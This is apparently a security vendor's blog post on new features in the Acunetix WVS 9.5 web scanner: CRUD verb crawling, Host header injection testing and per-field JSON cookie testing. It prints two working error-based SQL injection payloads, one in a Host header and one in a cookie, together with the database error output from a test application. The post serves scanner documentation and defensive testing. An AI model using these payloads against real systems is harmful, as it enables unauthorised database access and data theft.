More comprehensive scanning with Acunetix WVS v9.5 – Part II

In addtion to full JSON and XML support (already covered in Part I), Acunetix WVS version 9.5 includes other improvements that increase the scan coverage and improves its abilities to find vulnerabilities. In this blog post, I will cover CRUD support, Host header testing and improved Cookie testing. The rest of this article will explain each one in detail.

CRUD support

CRUD (create, read, update and delete) refers to all of the major functions that are implemented in relational database applications. Each letter in the acronym can map to a standard SQL statement and HTTP method:

Web applications traditionally only use HTTP GET and POST for requesting and transferring data to and from the server. Modern Web Applications with CRUD support are using custom HTTP verbs like PUT/PATCH/DELETE. Starting with this version, Acunetix WVS can audit such applications. Using DeepScan technology, Acunetix is able to intercept Ajax calls made using CRUD verbs. The crawler will then create input schemes for all these requests and they are tested by the scanner as a normal input scheme.

Host header testing

The Host header should be treated as user input that can be manipulated by attackers. This was first revealed by James Kettle in his wonderful “Practical HTTP Host header attacks” presentation. And later came the advisory regarding “lighttpd mod_mysql_vhost SQL injection and path traversal“. Acunetix WVS v9 introduces testing for Host Header based attacks. Acunetix WVS v9.5  improves on that by automatically manipulating the Host header as if it was another user input thus testing for all known vulnerabilities on this HTTP header field. We’ve found cases when the virtual hosting separation was performed by injecting the value of the Host header directly into an SQL query and this created a vulnerability that can be named Host header SQL injection.

To demonstrate such vulnerabilities I’ve created a test web application. When this web application was scanned with Acunetix WVS version 9.5 the following alert was issued:

The full HTTP request is listed as well:

GET /hostHeaderManipulation/ HTTP/1.1
Host: 'and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(51),CHAR(78),CHAR(102),CHAR(97),CHAR(78),CHAR(98),CHAR(84),CHAR(82)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

SQL error: Duplicate entry '4Cu3NfaNbTR1' for key 1

In this case, the SQL injection payload was injected into the Host header directly by the scanner allowing it to extract data by causing a duplicate key condition. Note that not all web applications can be tested for such vulnerabilities. When the web server encounters an unrecognized Host header, it will usually pass the request to the first virtual host defined in the configuration. So, this means that only the first virtual host can normally be tested for this type of vulnerabilities. There also exists the possibility, as in the lighttpd case, that the web server is vulnerable as well.

Improved Cookie testing

Acunetix WVS v9.5 improves further its capabilities of testing values in cookies, by testing each part of the cookie values individually. As an example, let’s analyze the following cookie value:

%7B%22username%22%3A%22cookietester%22%2C%22password%22%3A%22p%22%7D

The value is URL encoded so we need to clean it up a bit:

{“username”:”cookietester”,”password”:”p”}

The cookie value contains data formatted as JSON. Testing the cookie as a whole doesn’t provide good coverage since the web application expects the data to be JSON formatted and it will ignore anything that is not JSON formatted .

The new version can detect the data format for such cookies and manipulate each part individually. In this case, Acunetix will detect the JSON data and test the value of the username key and the value of the password key separately.

This way we can report vulnerabilities like the SQL injection in the JSON password key shown below:

GET /cookie_json/parser.php HTTP/1.1
Cookie: mycookie={"password":"'and(select%201%20from(select%20count(*)%2Cconcat((select%20concat(CHAR(52)%2CCHAR(67)%2CCHAR(117)%2CCHAR(51)%2CCHAR(98)%2CCHAR(87)%2CCHAR(118)%2CCHAR(69)%2CCHAR(56)%2CCHAR(101)%2CCHAR(119))%20from%20information_schema.tables%20limit%200%2C1)%2Cfloor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and'"%2C"username":"cookietester"}
Host: bld01
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

<h1>Welcome <b>cookietester</b></h1><br>SQL error: Duplicate entry '4Cu3bWvE8ew1' for key 1

THE AUTHOR

Bogdan Calin

Acunetix developers and tech agents regularly contribute to the blog. All the Acunetix developers come with years of experience in the web security sphere.